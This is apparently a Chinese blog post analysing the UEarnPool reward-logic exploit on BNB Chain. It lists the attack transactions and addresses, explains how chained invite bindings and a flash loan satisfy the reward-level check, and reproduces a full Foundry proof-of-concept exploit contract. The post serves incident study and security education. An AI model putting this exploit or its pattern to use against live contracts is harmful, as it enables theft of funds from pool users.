UEarnPool 业务逻辑漏洞
https://twitter.com/CertiKAlert/status/1593094922160128000
攻击准备: https://bscscan.com/tx/0x824de0989f2ce3230866cb61d588153e5312151aebb1e905ad775864885cd418 攻击交易: https://bscscan.com/tx/0xb83f9165952697f27b1c7f932bcece5dfa6f0d2f9f3c3be2bb325815bfd834ec 攻击合约:0x14cab4bb0d3bff14cc104d53c812bb1cc882ab3d 攻击账号:0x645516882d8d1b2bc69f85c58164a290c92c0365 被攻击合约:0x02d841b976298dcd37ed6cc59f75d9dd39a3690c
在合约UEarnPool中有函数 claimTeamReward() 可以领取团队奖励,查看函数代码可发现关键在于使得level不等于MAX,而level是通过函数 getUserLevel() 实现的。
在函数 getUserLevel() 中,可以看到 level 默认是MAX,是通过条件判断 if (teamAmount >= levelConfig.teamAmount && amount >= levelConfig.amount) 确认的,并且 uint256 teamAmount = userInfo.teamAmount; uint256 amount = userInfo.amount; ,所以需要增大teamAmount以及amount,即发展下线。 在合约中存在另外一个函数bindInvitor() ,即发展下线,并且会通过 invitor = _invitor[invitor]; 记录上线以及上线的上线,后续用于分级提成。
整个合约利用过程可分为两部分, 1) 利用函数bindInvitor() 不停发展下线,最大程度增加团队成员数量,以便于后续分成; 2) 先调用函数 stake() 满足提现条件(即level 不等于 MAX),再调用claimTeamReward() 获取奖励。需要注意stake() 函数需要满足 require(amount >= _minAmount, "<min"); 查看私有变量_minAmount 的值显示为0x56bc75e2d63100000 ,即100.000000000000000000美元(18位小数)。
根据以上攻击思路,从交易记录分析攻击过程: 一、 先通过0x824de0989f2ce3230866cb61d588153e5312151aebb1e905ad775864885cd418 交易增加账号,用于发展下线。每次先创建新的合约,应该是使用create2方式创建的,因为还调用了新建合约的0xaa21133c 方法,用于绑定邀请人,类似于证明谁发展的下线,用于分配拉人收益。至此前期准备工作已完成。(A > B > C > D>E >F …….,后创建的合约均为前一个创建的合约的下线)
二、 再通过0xb83f9165952697f27b1c7f932bcece5dfa6f0d2f9f3c3be2bb325815bfd834ec交易获取奖励。 1、 先通过闪电贷获取启动资金,再调用最后创建的合约 0x21c473f97411351b3f5f829a5bcd485b735c1bd4 ,用于通过stake() 函数投入资金。之所以选择最后创建的合约,因为后创建的合约均为前一个创建的合约的下线,这样可以保证获取的收益最大。
最开始调用 claimTeamReward() 方法时未返回收益,因为 getUserLevel(0x21c473f97411351b3f5f829a5bcd485b735c1bd4) 返回的值为 MAX,不会进行分配收益。 另外,用户投入资金后其上线将获得拉人收益,合约通过_addInviteReward() 函数给其上线(最多5人)分配发展下线的奖励:
function _addInviteReward(address account, uint256 amount) private {
uint256 inviteLength = _inviteLength;
UserInfo storage invitorInfo;
address invitor;
IERC20 token = IERC20(_tokenAddress);
for (uint256 i; i < inviteLength;) {
invitor = _invitor[account];
if (address(0) == invitor) {
break;
}
account = invitor;
invitorInfo = _userInfos[invitor];
unchecked{
uint256 inviteReward = amount * _inviteFee[i] / _feeDivFactor;
if (inviteReward > 0) {
invitorInfo.inviteReward += inviteReward;
token.transfer(invitor, inviteReward);
}
++i;
}
}
}
2、 后续再继续调用新建合约的 0x8ecb5250 方法获取拉新奖励,可以看到在后续调用合约时可获得 162000 的奖励。可以通过函数 getLevelConfig() 查看奖励机制:
function claimTeamReward(address account) external {
uint256 level = getUserLevel(account);
LevelConfig storage levelConfig;
uint256 pendingReward;
uint256 levelReward;
if (level != MAX) {
for (uint256 i; i <= level;) {
levelConfig = _levelConfigs[i];
if (_userInfos[account].levelClaimed[i] == 0) {
if (i == 0) {
levelReward = levelConfig.teamAmount * levelConfig.rewardRate / _feeDivFactor;
} else {
levelReward = (levelConfig.teamAmount - _levelConfigs[i - 1].teamAmount) * levelConfig.rewardRate / _feeDivFactor;
}
pendingReward += levelReward;
_userInfos[account].levelClaimed[i] = levelReward;
}
unchecked{
++i;
}
}
}
if (pendingReward > 0) {
IERC20(_tokenAddress).transfer(account, pendingReward);
}
}
rewrad: 162_000 = 1_200_000 0.1 + 600_000 0.05 + 300_000 0.03 + 300_000 0.01
漏洞复现代码可参考:https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/UEarnPool_exp.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @Analysis
// https://twitter.com/CertiKAlert/status/1593094922160128000
// @Tx
// https://bscscan.com/tx/0xb83f9165952697f27b1c7f932bcece5dfa6f0d2f9f3c3be2bb325815bfd834ec
// https://bscscan.com/tx/0x824de0989f2ce3230866cb61d588153e5312151aebb1e905ad775864885cd418
// @Summary
// The key is to obtain invitation rewards, create 22 contracts, bind each other, first stake a large amount of usdt, make teamamont reach the standard of _levelConfigs[3], stake in turn, and finally claim rewards
// Reward Calculation: claimTeamReward() levelConfig
// if (_userInfos[account].levelClaimed[i] == 0) {
// if (i == 0) {
// levelReward = levelConfig.teamAmount * levelConfig.rewardRate / _feeDivFactor;
// } else {
// levelReward = (levelConfig.teamAmount - _levelConfigs[i - 1].teamAmount) * levelConfig.rewardRate / _feeDivFactor;
// }
// pendingReward += levelReward;
// _levelConfigs[0] = LevelConfig(100, 300000 * amountUnit, 3000 * amountUnit); rewardRate; teamAmount; amount;
// _levelConfigs[1] = LevelConfig(300, 600000 * amountUnit, 7000 * amountUnit);
// _levelConfigs[2] = LevelConfig(500, 1200000 * amountUnit, 10000 * amountUnit);
// _levelConfigs[3] = LevelConfig(1000, 2400000 * amountUnit, 20000 * amountUnit);
// _feeDivFactor = 10000
// rewrad: 162_000 = 1_200_000 * 0.1 + 600_000 * 0.05 + 300_000 * 0.03 + 300_000 * 0.01
interface UEarnPool{
function bindInvitor(address invitor) external;
function stake(uint256 pid, uint256 amount) external;
function claimTeamReward(address account) external;
}
contract claimReward{
UEarnPool Pool = UEarnPool(0x02D841B976298DCd37ed6cC59f75D9Dd39A3690c);
IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
function bind(address invitor) external{
Pool.bindInvitor(invitor);
}
function stakeAndClaimReward(uint256 amount) external{
USDT.approve(address(address(Pool)), type(uint).max);
Pool.stake(0, amount);
Pool.claimTeamReward(address(this));
}
function withdraw(address receiver) external{
USDT.transfer(receiver, USDT.balanceOf(address(this)));
}
}
contract ContractTest is DSTest{
UEarnPool Pool = UEarnPool(0x02D841B976298DCd37ed6cC59f75D9Dd39A3690c);
Uni_Pair_V2 Pair = Uni_Pair_V2(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00);
IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
address[] contractList;
CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheat.createSelectFork("bsc", 23120167);
}
function testExploit() public{
contractFactory();
// bind invitor
(bool success, ) = contractList[0].call(abi.encodeWithSignature("bind(address)", tx.origin));
require(success);
for(uint i = 1; i < 22; i++){
(bool success, ) = contractList[i].call(abi.encodeWithSignature("bind(address)", contractList[i - 1]));
require(success);
}
Pair.swap(2_420_000 * 1e18, 0, address(this), new bytes(1));
emit log_named_decimal_uint(
"[End] Attacker USDT balance after exploit",
USDT.balanceOf(address(this)),
18
);
}
function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
uint len = contractList.length;
// LevelConfig[3].teamAmount : 2_400_000
USDT.transfer(contractList[len - 1], 2_400_000 * 1e18);
(bool success1, ) = contractList[len - 1].call(abi.encodeWithSignature("stakeAndClaimReward(uint256)", 2_400_000 * 1e18));
require(success1);
for(uint i = len - 2; i > 4; i--){
USDT.transfer(contractList[i], 20_000 * 1e18); // LevelConfig[3].Amount : 20_000
USDT.balanceOf(address(this));
// 162000 - 20000 + 1500, 1500 is the reduce amount of _addInviteReward(), claim remaining USDT when USDT amount in contract less than 162_000,
if(USDT.balanceOf(address(Pool)) < 143_500 * 1e18){
USDT.transfer(address(Pool), 143_500 * 1e18 - USDT.balanceOf(address(Pool)));
}
(bool success1, ) = contractList[i].call(abi.encodeWithSignature("stakeAndClaimReward(uint256)", 20_000 * 1e18)); // LevelConfig[3].Amount : 20_000
require(success1);
(bool success2, ) = contractList[i].call(abi.encodeWithSignature("withdraw(address)", address(this)));
require(success2);
}
contractList[0].call(abi.encodeWithSignature("withdraw(address)", address(this))); // claim the reward from _addInviteReward()
contractList[1].call(abi.encodeWithSignature("withdraw(address)", address(this)));
contractList[2].call(abi.encodeWithSignature("withdraw(address)", address(this)));
contractList[3].call(abi.encodeWithSignature("withdraw(address)", address(this)));
contractList[4].call(abi.encodeWithSignature("withdraw(address)", address(this)));
uint borrowAmount = 2_420_000 * 1e18;
USDT.transfer(address(Pair), borrowAmount * 10000 / 9975 + 1000);
}
function contractFactory() public{
address _add;
bytes memory bytecode = type(claimReward).creationCode;
for(uint _salt = 0; _salt < 22; _salt++){
assembly{
_add := create2(0, add(bytecode, 32), mload(bytecode), _salt)
}
contractList.push(_add);
}
}
}
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!